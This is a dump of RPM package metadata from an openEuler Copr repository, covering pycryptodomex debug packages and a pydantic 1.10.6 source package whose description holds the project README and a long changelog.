  Only the pieces that are extremely critical to performance (e.g. block ciphers)
  are implemented as C extensions.
  For more information, see the `homepage`_.
  All the code can be downloaded from `GitHub`_.


pkgId: 2e17609802adf58cc08088f58a4df1c885b409705d36be08f6a6de983dbdacf6
name: python-pycryptodomex-debuginfo
arch: x86_64
version: 3.17
epoch: 0
release: 1
summary: Debug information for package python-pycryptodomex
url: https://www.pycryptodome.org
rpm_license: BSD, Public Domain
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-6476841b-baf8-4498-a554-fe350d21172d
rpm_sourcerpm: python-pycryptodomex-3.17-1.src.rpm
location_href: 00009041-python-pycryptodomex/python-pycryptodomex-debuginfo-3.17-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug information for package python-pycryptodomex.
  Debug information is useful when developing applications that use this
  package or when debugging this package.


pkgId: f66f8973ab6b6d9925c75e800d6446a42ed1c88a9e80a768fd19965b07ffe2de
name: python-pycryptodomex-debugsource
arch: x86_64
version: 3.17
epoch: 0
release: 1
summary: Debug sources for package python-pycryptodomex
url: https://www.pycryptodome.org
rpm_license: BSD, Public Domain
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-6476841b-baf8-4498-a554-fe350d21172d
rpm_sourcerpm: python-pycryptodomex-3.17-1.src.rpm
location_href: 00009041-python-pycryptodomex/python-pycryptodomex-debugsource-3.17-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug sources for package python-pycryptodomex.
  Debug sources are useful when developing applications that use this
  package or when debugging this package.


pkgId: 03b1ef4563d1b865add1cbbb81102abf60b5577b81876a61c6b1903c78e78bc1
name: python-pydantic
arch: src
version: 1.10.6
epoch: 0
release: 1
summary: Data validation and settings management using python type hints
url: https://github.com/pydantic/pydantic
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-b92df9bb-7281-4009-8fc0-aa984409c2f4
location_href: 00004658-python-pydantic/python-pydantic-1.10.6-1.src.rpm
checksum_type: sha256
description:
  [![CI](https://github.com/pydantic/pydantic/workflows/CI/badge.svg?event=push)](https://github.com/pydantic/pydantic/actions?query=event%3Apush+branch%3Amain+workflow%3ACI)
  [![Coverage](https://coverage-badge.samuelcolvin.workers.dev/pydantic/pydantic.svg?branch=1.10.X-fixes)](https://coverage-badge.samuelcolvin.workers.dev/redirect/pydantic/pydantic?branch=1.10.X-fixes)
  [![pypi](https://img.shields.io/pypi/v/pydantic.svg)](https://pypi.python.org/pypi/pydantic)
  [![CondaForge](https://img.shields.io/conda/v/conda-forge/pydantic.svg)](https://anaconda.org/conda-forge/pydantic)
  [![downloads](https://pepy.tech/badge/pydantic/month)](https://pepy.tech/project/pydantic)
  [![versions](https://img.shields.io/pypi/pyversions/pydantic.svg)](https://github.com/pydantic/pydantic)
  [![license](https://img.shields.io/github/license/pydantic/pydantic.svg)](https://github.com/pydantic/pydantic/blob/main/LICENSE)

  Data validation and settings management using Python type hints.

  Fast and extensible, *pydantic* plays nicely with your linters/IDE/brain.
  Define how data should be in pure, canonical Python 3.7+; validate it with *pydantic*.



  We've started a company based on the principles that I believe have led to Pydantic's success.
  Learning more from the [Company Announcement](https://pydantic.dev/announcement/).



  See [documentation](https://docs.pydantic.dev/) for more details.



  Install using `pip install -U pydantic` or `conda install pydantic -c conda-forge`.
  For more installation options to make *pydantic* even faster,
  see the [Install](https://docs.pydantic.dev/install/) section in the documentation.



  ```py
  from datetime import datetime
  from typing import List, Optional
  from pydantic import BaseModel

  class User(BaseModel):
      id: int
      name = 'John Doe'
      signup_ts: Optional[datetime] = None
      friends: List[int] = []

  external_data = {'id': '123', 'signup_ts': '2017-06-01 12:22', 'friends': [1, '2', b'3']}
  user = User(**external_data)
  print(user)

  print(user.id)

  ```



  For guidance on setting up a development environment and how to make a
  contribution to *pydantic*, see
  [Contributing to Pydantic](https://docs.pydantic.dev/contributing/).



  See our [security policy](https://github.com/pydantic/pydantic/security/policy).




  * Implement logic to support creating validators from non standard callables by using defaults to identify them and unwrapping `functools.partial` and `functools.partialmethod` when checking the signature, [#5126](https://github.com/pydantic/pydantic/issues/5126) by [@JensHeinrich](https://github.com/JensHeinrich)
  * Fix mypy plugin for v1.1.1, and fix `dataclass_transform` decorator for pydantic dataclasses, [#5111](https://github.com/pydantic/pydantic/issues/5111) by [@cdce8p](https://github.com/cdce8p)
  * Raise `ValidationError`, not `ConfigError`, when a discriminator value is unhashable, [#4773](https://github.com/pydantic/pydantic/issues/4773) by [@kurtmckee](https://github.com/kurtmckee)



  * Fix broken parametrized bases handling with `GenericModel`s with complex sets of models, [#5052](https://github.com/pydantic/pydantic/issues/5052) by [@MarkusSintonen](https://github.com/MarkusSintonen)
  * Invalidate mypy cache if plugin config changes, [#5007](https://github.com/pydantic/pydantic/issues/5007) by [@cdce8p](https://github.com/cdce8p)
  * Fix `RecursionError` when deep-copying dataclass types wrapped by pydantic, [#4949](https://github.com/pydantic/pydantic/issues/4949) by [@mbillingr](https://github.com/mbillingr)
  * Fix `X | Y` union syntax breaking `GenericModel`, [#4146](https://github.com/pydantic/pydantic/issues/4146) by [@thenx](https://github.com/thenx)
  * Switch coverage badge to show coverage for this branch/release, [#5060](https://github.com/pydantic/pydantic/issues/5060) by [@samuelcolvin](https://github.com/samuelcolvin)



  * Change dependency to `typing-extensions>=4.2.0`, [#4885](https://github.com/pydantic/pydantic/issues/4885) by [@samuelcolvin](https://github.com/samuelcolvin)



  **NOTE: v1.10.3 was ["yanked"](https://pypi.org/help/#yanked) from PyPI due to [#4885](https://github.com/pydantic/pydantic/issues/4885) which is fixed in v1.10.4**

  * fix parsing of custom root models, [#4883](https://github.com/pydantic/pydantic/issues/4883) by [@gou177](https://github.com/gou177)
  * fix: use dataclass proxy for frozen or empty dataclasses, [#4878](https://github.com/pydantic/pydantic/issues/4878) by [@PrettyWood](https://github.com/PrettyWood)
  * Fix `schema` and `schema_json` on models where a model instance is a one of default values, [#4781](https://github.com/pydantic/pydantic/issues/4781) by [@Bobronium](https://github.com/Bobronium)
  * Add Jina AI to sponsors on docs index page, [#4767](https://github.com/pydantic/pydantic/issues/4767) by [@samuelcolvin](https://github.com/samuelcolvin)
  * fix: support assignment on `DataclassProxy`, [#4695](https://github.com/pydantic/pydantic/issues/4695) by [@PrettyWood](https://github.com/PrettyWood)
  * Add `postgresql+psycopg` as allowed scheme for `PostgreDsn` to make it usable with SQLAlchemy 2, [#4689](https://github.com/pydantic/pydantic/issues/4689) by [@morian](https://github.com/morian)
  * Allow dict schemas to have both `patternProperties` and `additionalProperties`, [#4641](https://github.com/pydantic/pydantic/issues/4641) by [@jparise](https://github.com/jparise)
  * Fixes error passing None for optional lists with `unique_items`, [#4568](https://github.com/pydantic/pydantic/issues/4568) by [@mfulgo](https://github.com/mfulgo)
  * Fix `GenericModel` with `Callable` param raising a `TypeError`, [#4551](https://github.com/pydantic/pydantic/issues/4551) by [@mfulgo](https://github.com/mfulgo)
  * Fix field regex with `StrictStr` type annotation, [#4538](https://github.com/pydantic/pydantic/issues/4538) by [@sisp](https://github.com/sisp)
  * Correct `dataclass_transform` keyword argument name from `field_descriptors` to `field_specifiers`, [#4500](https://github.com/pydantic/pydantic/issues/4500) by [@samuelcolvin](https://github.com/samuelcolvin)
  * fix: avoid multiple calls of `__post_init__` when dataclasses are inherited, [#4487](https://github.com/pydantic/pydantic/issues/4487) by [@PrettyWood](https://github.com/PrettyWood)
  * Reduce the size of binary wheels, [#2276](https://github.com/pydantic/pydantic/issues/2276) by [@samuelcolvin](https://github.com/samuelcolvin)



  * **Revert Change:** Revert percent encoding of URL parts which was originally added in [#4224](https://github.com/pydantic/pydantic/issues/4224), [#4470](https://github.com/pydantic/pydantic/issues/4470) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Prevent long (length > `4_300`) strings/bytes as input to int fields, see
    [python/cpython#95778](https://github.com/python/cpython/issues/95778) and
    [CVE-2020-10735](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10735), [#1477](https://github.com/pydantic/pydantic/issues/1477) by [@samuelcolvin](https://github.com/samuelcolvin)
  * fix: dataclass wrapper was not always called, [#4477](https://github.com/pydantic/pydantic/issues/4477) by [@PrettyWood](https://github.com/PrettyWood)
  * Use `tomllib` on Python 3.11 when parsing `mypy` configuration, [#4476](https://github.com/pydantic/pydantic/issues/4476) by [@hauntsaninja](https://github.com/hauntsaninja)
  * Basic fix of `GenericModel` cache to detect order of arguments in `Union` models, [#4474](https://github.com/pydantic/pydantic/issues/4474) by [@sveinugu](https://github.com/sveinugu)
  * Fix mypy plugin when using bare types like `list` and `dict` as `default_factory`, [#4457](https://github.com/pydantic/pydantic/issues/4457) by [@samuelcolvin](https://github.com/samuelcolvin)



  * Add `__hash__` method to `pydancic.color.Color` class, [#4454](https://github.com/pydantic/pydantic/issues/4454) by [@czaki](https://github.com/czaki)



  * Refactor the whole _pydantic_ `dataclass` decorator to really act like its standard lib equivalent.
    It hence keeps `__eq__`, `__hash__`, ... and makes comparison with its non-validated version possible.
    It also fixes usage of `frozen` dataclasses in fields and usage of `default_factory` in nested dataclasses.
    The support of `Config.extra` has been added.
    Finally, config customization directly via a `dict` is now possible, [#2557](https://github.com/pydantic/pydantic/issues/2557) by [@PrettyWood](https://github.com/PrettyWood)
    <br/><br/>
    **BREAKING CHANGES:**
    - The `compiled` boolean (whether _pydantic_ is compiled with cython) has been moved from `main.py` to `version.py`
    - Now that `Config.extra` is supported, `dataclass` ignores by default extra arguments (like `BaseModel`)
  * Fix PEP487 `__set_name__` protocol in `BaseModel` for PrivateAttrs, [#4407](https://github.com/pydantic/pydantic/issues/4407) by [@tlambert03](https://github.com/tlambert03)
  * Allow for custom parsing of environment variables via `parse_env_var` in `Config`, [#4406](https://github.com/pydantic/pydantic/issues/4406) by [@acmiyaguchi](https://github.com/acmiyaguchi)
  * Rename `master` to `main`, [#4405](https://github.com/pydantic/pydantic/issues/4405) by [@hramezani](https://github.com/hramezani)
  * Fix `StrictStr` does not raise `ValidationError` when `max_length` is present in `Field`, [#4388](https://github.com/pydantic/pydantic/issues/4388) by [@hramezani](https://github.com/hramezani)
  * Make `SecretStr` and `SecretBytes` hashable, [#4387](https://github.com/pydantic/pydantic/issues/4387) by [@chbndrhnns](https://github.com/chbndrhnns)
  * Fix `StrictBytes` does not raise `ValidationError` when `max_length` is present in `Field`, [#4380](https://github.com/pydantic/pydantic/issues/4380) by [@JeanArhancet](https://github.com/JeanArhancet)
  * Add support for bare `type`, [#4375](https://github.com/pydantic/pydantic/issues/4375) by [@hramezani](https://github.com/hramezani)
  * Support Python 3.11, including binaries for 3.11 in PyPI, [#4374](https://github.com/pydantic/pydantic/issues/4374) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Add support for `re.Pattern`, [#4366](https://github.com/pydantic/pydantic/issues/4366) by [@hramezani](https://github.com/hramezani)
  * Fix `__post_init_post_parse__` is incorrectly passed keyword arguments when no `__post_init__` is defined, [#4361](https://github.com/pydantic/pydantic/issues/4361) by [@hramezani](https://github.com/hramezani)
  * Fix implicitly importing `ForwardRef` and `Callable` from `pydantic.typing` instead of `typing` and also expose `MappingIntStrAny`, [#4358](https://github.com/pydantic/pydantic/issues/4358) by [@aminalaee](https://github.com/aminalaee)
  * remove `Any` types from the `dataclass` decorator so it can be used with the `disallow_any_expr` mypy option, [#4356](https://github.com/pydantic/pydantic/issues/4356) by [@DetachHead](https://github.com/DetachHead)
  * moved repo to `pydantic/pydantic`, [#4348](https://github.com/pydantic/pydantic/issues/4348) by [@yezz123](https://github.com/yezz123)
  * fix "extra fields not permitted" error when dataclass with `Extra.forbid` is validated multiple times, [#4343](https://github.com/pydantic/pydantic/issues/4343) by [@detachhead](https://github.com/detachhead)
  * Add Python 3.9 and 3.10 examples to docs, [#4339](https://github.com/pydantic/pydantic/issues/4339) by [@Bobronium](https://github.com/Bobronium)
  * Discriminated union models now use `oneOf` instead of `anyOf` when generating OpenAPI schema definitions, [#4335](https://github.com/pydantic/pydantic/issues/4335) by [@MaxwellPayne](https://github.com/MaxwellPayne)
  * Allow type checkers to infer inner type of `Json` type. `Json[list[str]]` will be now inferred as `list[str]`,
    `Json[Any]` should be used instead of plain `Json`.
    Runtime behaviour is not changed, [#4332](https://github.com/pydantic/pydantic/issues/4332) by [@Bobronium](https://github.com/Bobronium)
  * Allow empty string aliases by using a `alias is not None` check, rather than `bool(alias)`, [#4253](https://github.com/pydantic/pydantic/issues/4253) by [@sergeytsaplin](https://github.com/sergeytsaplin)
  * Update `ForwardRef`s in `Field.outer_type_`, [#4249](https://github.com/pydantic/pydantic/issues/4249) by [@JacobHayes](https://github.com/JacobHayes)
  * The use of `__dataclass_transform__` has been replaced by `typing_extensions.dataclass_transform`, which is the preferred way to mark pydantic models as a dataclass under [PEP 681](https://peps.python.org/pep-0681/), [#4241](https://github.com/pydantic/pydantic/issues/4241) by [@multimeric](https://github.com/multimeric)
  * Use parent model's `Config` when validating nested `NamedTuple` fields, [#4219](https://github.com/pydantic/pydantic/issues/4219) by [@synek](https://github.com/synek)
  * Update `BaseModel.construct` to work with aliased Fields, [#4192](https://github.com/pydantic/pydantic/issues/4192) by [@kylebamos](https://github.com/kylebamos)
  * Catch certain raised errors in `smart_deepcopy` and revert to `deepcopy` if so, [#4184](https://github.com/pydantic/pydantic/issues/4184) by [@coneybeare](https://github.com/coneybeare)
  * Add `Config.anystr_upper` and `to_upper` kwarg to constr and conbytes, [#4165](https://github.com/pydantic/pydantic/issues/4165) by [@satheler](https://github.com/satheler)
  * Fix JSON schema for `set` and `frozenset` when they include default values, [#4155](https://github.com/pydantic/pydantic/issues/4155) by [@aminalaee](https://github.com/aminalaee)
  * Teach the mypy plugin that methods decorated by `@validator` are classmethods, [#4102](https://github.com/pydantic/pydantic/issues/4102) by [@DMRobertson](https://github.com/DMRobertson)
  * Improve mypy plugin's ability to detect required fields, [#4086](https://github.com/pydantic/pydantic/issues/4086) by [@richardxia](https://github.com/richardxia)
  * Support fields of type `Type[]` in schema, [#4051](https://github.com/pydantic/pydantic/issues/4051) by [@aminalaee](https://github.com/aminalaee)
  * Add `default` value in JSON Schema when `const=True`, [#4031](https://github.com/pydantic/pydantic/issues/4031) by [@aminalaee](https://github.com/aminalaee)
  * Adds reserved word check to signature generation logic, [#4011](https://github.com/pydantic/pydantic/issues/4011) by [@strue36](https://github.com/strue36)
  * Fix Json strategy failure for the complex nested field, [#4005](https://github.com/pydantic/pydantic/issues/4005) by [@sergiosim](https://github.com/sergiosim)
  * Add JSON-compatible float constraint `allow_inf_nan`, [#3994](https://github.com/pydantic/pydantic/issues/3994) by [@tiangolo](https://github.com/tiangolo)
  * Remove undefined behaviour when `env_prefix` had characters in common with `env_nested_delimiter`, [#3975](https://github.com/pydantic/pydantic/issues/3975) by [@arsenron](https://github.com/arsenron)
  * Support generics model with `create_model`, [#3945](https://github.com/pydantic/pydantic/issues/3945) by [@hot123s](https://github.com/hot123s)
  * allow submodels to overwrite extra field info, [#3934](https://github.com/pydantic/pydantic/issues/3934) by [@PrettyWood](https://github.com/PrettyWood)
  * Document and test structural pattern matching ([PEP 636](https://peps.python.org/pep-0636/)) on `BaseModel`, [#3920](https://github.com/pydantic/pydantic/issues/3920) by [@irgolic](https://github.com/irgolic)
  * Fix incorrect deserialization of python timedelta object to ISO 8601 for negative time deltas.
    Minus was serialized in incorrect place ("P-1DT23H59M59.888735S" instead of correct "-P1DT23H59M59.888735S"), [#3899](https://github.com/pydantic/pydantic/issues/3899) by [@07pepa](https://github.com/07pepa)
  * Fix validation of discriminated union fields with an alias when passing a model instance, [#3846](https://github.com/pydantic/pydantic/issues/3846) by [@chornsby](https://github.com/chornsby)
  * Add a CockroachDsn type to validate CockroachDB connection strings. The type
    supports the following schemes: `cockroachdb`, `cockroachdb+psycopg2` and `cockroachdb+asyncpg`, [#3839](https://github.com/pydantic/pydantic/issues/3839) by [@blubber](https://github.com/blubber)
  * Fix MyPy plugin to not override pre-existing `__init__` method in models, [#3824](https://github.com/pydantic/pydantic/issues/3824) by [@patrick91](https://github.com/patrick91)
  * Fix mypy version checking, [#3783](https://github.com/pydantic/pydantic/issues/3783) by [@KotlinIsland](https://github.com/KotlinIsland)
  * support overwriting dunder attributes of `BaseModel` instances, [#3777](https://github.com/pydantic/pydantic/issues/3777) by [@PrettyWood](https://github.com/PrettyWood)
  * Added `ConstrainedDate` and `condate`, [#3740](https://github.com/pydantic/pydantic/issues/3740) by [@hottwaj](https://github.com/hottwaj)
  * Support `kw_only` in dataclasses, [#3670](https://github.com/pydantic/pydantic/issues/3670) by [@detachhead](https://github.com/detachhead)
  * Add comparison method for `Color` class, [#3646](https://github.com/pydantic/pydantic/issues/3646) by [@aminalaee](https://github.com/aminalaee)
  * Drop support for python3.6, associated cleanup, [#3605](https://github.com/pydantic/pydantic/issues/3605) by [@samuelcolvin](https://github.com/samuelcolvin)
  * created new function `to_lower_camel()` for "non pascal case" camel case, [#3463](https://github.com/pydantic/pydantic/issues/3463) by [@schlerp](https://github.com/schlerp)
  * Add checks to `default` and `default_factory` arguments in Mypy plugin, [#3430](https://github.com/pydantic/pydantic/issues/3430) by [@klaa97](https://github.com/klaa97)
  * fix mangling of `inspect.signature` for `BaseModel`, [#3413](https://github.com/pydantic/pydantic/issues/3413) by [@fix-inspect-signature](https://github.com/fix-inspect-signature)
  * Adds the `SecretField` abstract class so that all the current and future secret fields like `SecretStr` and `SecretBytes` will derive from it, [#3409](https://github.com/pydantic/pydantic/issues/3409) by [@expobrain](https://github.com/expobrain)
  * Support multi hosts validation in `PostgresDsn`, [#3337](https://github.com/pydantic/pydantic/issues/3337) by [@rglsk](https://github.com/rglsk)
  * Fix parsing of very small numeric timedelta values, [#3315](https://github.com/pydantic/pydantic/issues/3315) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Update `SecretsSettingsSource` to respect `config.case_sensitive`, [#3273](https://github.com/pydantic/pydantic/issues/3273) by [@JeanArhancet](https://github.com/JeanArhancet)
  * Add MongoDB network data source name (DSN) schema, [#3229](https://github.com/pydantic/pydantic/issues/3229) by [@snosratiershad](https://github.com/snosratiershad)
  * Add support for multiple dotenv files, [#3222](https://github.com/pydantic/pydantic/issues/3222) by [@rekyungmin](https://github.com/rekyungmin)
  * Raise an explicit `ConfigError` when multiple fields are incorrectly set for a single validator, [#3215](https://github.com/pydantic/pydantic/issues/3215) by [@SunsetOrange](https://github.com/SunsetOrange)
  * Allow ellipsis on `Field`s inside `Annotated` for `TypedDicts` required, [#3133](https://github.com/pydantic/pydantic/issues/3133) by [@ezegomez](https://github.com/ezegomez)
  * Catch overflow errors in `int_validator`, [#3112](https://github.com/pydantic/pydantic/issues/3112) by [@ojii](https://github.com/ojii)
  * Adds a `__rich_repr__` method to `Representation` class which enables pretty printing with [Rich](https://github.com/willmcgugan/rich), [#3099](https://github.com/pydantic/pydantic/issues/3099) by [@willmcgugan](https://github.com/willmcgugan)
  * Add percent encoding in `AnyUrl` and descendent types, [#3061](https://github.com/pydantic/pydantic/issues/3061) by [@FaresAhmedb](https://github.com/FaresAhmedb)
  * `validate_arguments` decorator now supports `alias`, [#3019](https://github.com/pydantic/pydantic/issues/3019) by [@MAD-py](https://github.com/MAD-py)
  * Avoid `__dict__` and `__weakref__` attributes in `AnyUrl` and IP address fields, [#2890](https://github.com/pydantic/pydantic/issues/2890) by [@nuno-andre](https://github.com/nuno-andre)
  * Add ability to use `Final` in a field type annotation, [#2766](https://github.com/pydantic/pydantic/issues/2766) by [@uriyyo](https://github.com/uriyyo)
  * Update requirement to `typing_extensions>=4.1.0` to guarantee `dataclass_transform` is available, [#4424](https://github.com/pydantic/pydantic/issues/4424) by [@commonism](https://github.com/commonism)
  * Add Explosion and AWS to main sponsors, [#4413](https://github.com/pydantic/pydantic/issues/4413) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Update documentation for `copy_on_model_validation` to reflect recent changes, [#4369](https://github.com/pydantic/pydantic/issues/4369) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Runtime warning if `__slots__` is passed to `create_model`, `__slots__` is then ignored, [#4432](https://github.com/pydantic/pydantic/issues/4432) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Add type hints to `BaseSettings.Config` to avoid mypy errors, also correct mypy version compatibility notice in docs, [#4450](https://github.com/pydantic/pydantic/issues/4450) by [@samuelcolvin](https://github.com/samuelcolvin)



  Pre-release, see [the GitHub release](https://github.com/pydantic/pydantic/releases/tag/v1.10.0b1) for details.



  Pre-release, see [the GitHub release](https://github.com/pydantic/pydantic/releases/tag/v1.10.0a2) for details.



  Pre-release, see [the GitHub release](https://github.com/pydantic/pydantic/releases/tag/v1.10.0a1) for details.



  **Revert Breaking Change**: _v1.9.1_ introduced a breaking change where model fields were
  deep copied by default, this release reverts the default behaviour to match _v1.9.0_ and before,
  while also allow deep-copy behaviour via `copy_on_model_validation = 'deep'`. See [#4092](https://github.com/pydantic/pydantic/issues/4092) for more information.

  * Allow for shallow copies of model fields, `Config.copy_on_model_validation` is now a str which must be
    `'none'`, `'deep'`, or `'shallow'` corresponding to not copying, deep copy & shallow copy; default `'shallow'`,
    [#4093](https://github.com/pydantic/pydantic/issues/4093) by [@timkpaine](https://github.com/timkpaine)



  Thank you to pydantic's sponsors:
  @tiangolo, [@stellargraph](https://github.com/stellargraph), [@JonasKs](https://github.com/JonasKs), [@grillazz](https://github.com/grillazz), [@Mazyod](https://github.com/Mazyod), [@kevinalh](https://github.com/kevinalh), [@chdsbd](https://github.com/chdsbd), [@povilasb](https://github.com/povilasb), [@povilasb](https://github.com/povilasb), [@jina-ai](https://github.com/jina-ai),
  @mainframeindustries, [@robusta-dev](https://github.com/robusta-dev), [@SendCloud](https://github.com/SendCloud), [@rszamszur](https://github.com/rszamszur), [@jodal](https://github.com/jodal), [@hardbyte](https://github.com/hardbyte), [@corleyma](https://github.com/corleyma), [@daddycocoaman](https://github.com/daddycocoaman),
  @Rehket, [@jokull](https://github.com/jokull), [@reillysiemens](https://github.com/reillysiemens), [@westonsteimel](https://github.com/westonsteimel), [@primer-io](https://github.com/primer-io), [@koxudaxi](https://github.com/koxudaxi), [@browniebroke](https://github.com/browniebroke), [@stradivari96](https://github.com/stradivari96),
  @adriangb, [@kamalgill](https://github.com/kamalgill), [@jqueguiner](https://github.com/jqueguiner), [@dev-zero](https://github.com/dev-zero), [@datarootsio](https://github.com/datarootsio), [@RedCarpetUp](https://github.com/RedCarpetUp)
  for their kind support.

  * Limit the size of `generics._generic_types_cache` and `generics._assigned_parameters`
    to avoid unlimited increase in memory usage, [#4083](https://github.com/pydantic/pydantic/issues/4083) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Add Jupyverse and FPS as Jupyter projects using pydantic, [#4082](https://github.com/pydantic/pydantic/issues/4082) by [@davidbrochart](https://github.com/davidbrochart)
  * Speedup `__isinstancecheck__` on pydantic models when the type is not a model, may also avoid memory "leaks", [#4081](https://github.com/pydantic/pydantic/issues/4081) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Fix in-place modification of `FieldInfo` that caused problems with PEP 593 type aliases, [#4067](https://github.com/pydantic/pydantic/issues/4067) by [@adriangb](https://github.com/adriangb)
  * Add support for autocomplete in VS Code via `__dataclass_transform__` when using `pydantic.dataclasses.dataclass`, [#4006](https://github.com/pydantic/pydantic/issues/4006) by [@giuliano-oliveira](https://github.com/giuliano-oliveira)
  * Remove benchmarks from codebase and docs, [#3973](https://github.com/pydantic/pydantic/issues/3973) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Typing checking with pyright in CI, improve docs on vscode/pylance/pyright, [#3972](https://github.com/pydantic/pydantic/issues/3972) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Fix nested Python dataclass schema regression, [#3819](https://github.com/pydantic/pydantic/issues/3819) by [@himbeles](https://github.com/himbeles)
  * Update documentation about lazy evaluation of sources for Settings, [#3806](https://github.com/pydantic/pydantic/issues/3806) by [@garyd203](https://github.com/garyd203)
  * Prevent subclasses of bytes being converted to bytes, [#3706](https://github.com/pydantic/pydantic/issues/3706) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Fixed "error checking inheritance of" when using PEP585 and PEP604 type hints, [#3681](https://github.com/pydantic/pydantic/issues/3681) by [@aleksul](https://github.com/aleksul)
  * Allow self referencing `ClassVar`s in models, [#3679](https://github.com/pydantic/pydantic/issues/3679) by [@samuelcolvin](https://github.com/samuelcolvin)
  * **Breaking Change, see [#4106](https://github.com/pydantic/pydantic/issues/4106)**: Fix issue with self-referencing dataclass, [#3675](https://github.com/pydantic/pydantic/issues/3675) by [@uriyyo](https://github.com/uriyyo)
  * Include non-standard port numbers in rendered URLs, [#3652](https://github.com/pydantic/pydantic/issues/3652) by [@dolfinus](https://github.com/dolfinus)
  * `Config.copy_on_model_validation` does a deep copy and not a shallow one, [#3641](https://github.com/pydantic/pydantic/issues/3641) by [@PrettyWood](https://github.com/PrettyWood)
  * fix: clarify that discriminated unions do not support singletons, [#3636](https://github.com/pydantic/pydantic/issues/3636) by [@tommilligan](https://github.com/tommilligan)
  * Add `read_text(encoding='utf-8')` for `setup.py`, [#3625](https://github.com/pydantic/pydantic/issues/3625) by [@hswong3i](https://github.com/hswong3i)
  * Fix JSON Schema generation for Discriminated Unions within lists, [#3608](https://github.com/pydantic/pydantic/issues/3608) by [@samuelcolvin](https://github.com/samuelcolvin)



  Thank you to pydantic's sponsors:
  @sthagen, [@timdrijvers](https://github.com/timdrijvers), [@toinbis](https://github.com/toinbis), [@koxudaxi](https://github.com/koxudaxi), [@ginomempin](https://github.com/ginomempin), [@primer-io](https://github.com/primer-io), [@and-semakin](https://github.com/and-semakin), [@westonsteimel](https://github.com/westonsteimel), [@reillysiemens](https://github.com/reillysiemens),
  @es3n1n, [@jokull](https://github.com/jokull), [@JonasKs](https://github.com/JonasKs), [@Rehket](https://github.com/Rehket), [@corleyma](https://github.com/corleyma), [@daddycocoaman](https://github.com/daddycocoaman), [@hardbyte](https://github.com/hardbyte), [@datarootsio](https://github.com/datarootsio), [@jodal](https://github.com/jodal), [@aminalaee](https://github.com/aminalaee), [@rafsaf](https://github.com/rafsaf),
  @jqueguiner, [@chdsbd](https://github.com/chdsbd), [@kevinalh](https://github.com/kevinalh), [@Mazyod](https://github.com/Mazyod), [@grillazz](https://github.com/grillazz), [@JonasKs](https://github.com/JonasKs), [@simw](https://github.com/simw), [@leynier](https://github.com/leynier), [@xfenix](https://github.com/xfenix)
  for their kind support.



  * add Python 3.10 support, [#2885](https://github.com/pydantic/pydantic/issues/2885) by [@PrettyWood](https://github.com/PrettyWood)
  * [Discriminated unions](https://docs.pydantic.dev/usage/types/#discriminated-unions-aka-tagged-unions), [#619](https://github.com/pydantic/pydantic/issues/619) by [@PrettyWood](https://github.com/PrettyWood)
  * [`Config.smart_union` for better union logic](https://docs.pydantic.dev/usage/model_config/#smart-union), [#2092](https://github.com/pydantic/pydantic/issues/2092) by [@PrettyWood](https://github.com/PrettyWood)
  * Binaries for Macos M1 CPUs, [#3498](https://github.com/pydantic/pydantic/issues/3498) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Complex types can be set via [nested environment variables](https://docs.pydantic.dev/usage/settings/#parsing-environment-variable-values), e.g. `foo___bar`, [#3159](https://github.com/pydantic/pydantic/issues/3159) by [@Air-Mark](https://github.com/Air-Mark)
  * add a dark mode to _pydantic_ documentation, [#2913](https://github.com/pydantic/pydantic/issues/2913) by [@gbdlin](https://github.com/gbdlin)
  * Add support for autocomplete in VS Code via `__dataclass_transform__`, [#2721](https://github.com/pydantic/pydantic/issues/2721) by [@tiangolo](https://github.com/tiangolo)
  * Add "exclude" as a field parameter so that it can be configured using model config, [#660](https://github.com/pydantic/pydantic/issues/660) by [@daviskirk](https://github.com/daviskirk)



  * Apply `update_forward_refs` to `Config.json_encodes` prevent name clashes in types defined via strings, [#3583](https://github.com/pydantic/pydantic/issues/3583) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Extend pydantic's mypy plugin to support mypy versions `0.910`, `0.920`, `0.921` & `0.930`, [#3573](https://github.com/pydantic/pydantic/issues/3573) & [#3594](https://github.com/pydantic/pydantic/issues/3594) by [@PrettyWood](https://github.com/PrettyWood), [@christianbundy](https://github.com/christianbundy), [@samuelcolvin](https://github.com/samuelcolvin)



  * support generic models with discriminated union, [#3551](https://github.com/pydantic/pydantic/issues/3551) by [@PrettyWood](https://github.com/PrettyWood)
  * keep old behaviour of `json()` by default, [#3542](https://github.com/pydantic/pydantic/issues/3542) by [@PrettyWood](https://github.com/PrettyWood)
  * Removed typing-only `__root__` attribute from `BaseModel`, [#3540](https://github.com/pydantic/pydantic/issues/3540) by [@layday](https://github.com/layday)
  * Build Python 3.10 wheels, [#3539](https://github.com/pydantic/pydantic/issues/3539) by [@mbachry](https://github.com/mbachry)
  * Fix display of `extra` fields with model `__repr__`, [#3234](https://github.com/pydantic/pydantic/issues/3234) by [@cocolman](https://github.com/cocolman)
  * models copied via `Config.copy_on_model_validation` always have all fields, [#3201](https://github.com/pydantic/pydantic/issues/3201) by [@PrettyWood](https://github.com/PrettyWood)
  * nested ORM from nested dictionaries, [#3182](https://github.com/pydantic/pydantic/issues/3182) by [@PrettyWood](https://github.com/PrettyWood)
  * fix link to discriminated union section by [@PrettyWood](https://github.com/PrettyWood)



  * Add support for `Decimal`-specific validation configurations in `Field()`, additionally to using `condecimal()`,
    to allow better support from editors and tooling, [#3507](https://github.com/pydantic/pydantic/issues/3507) by [@tiangolo](https://github.com/tiangolo)
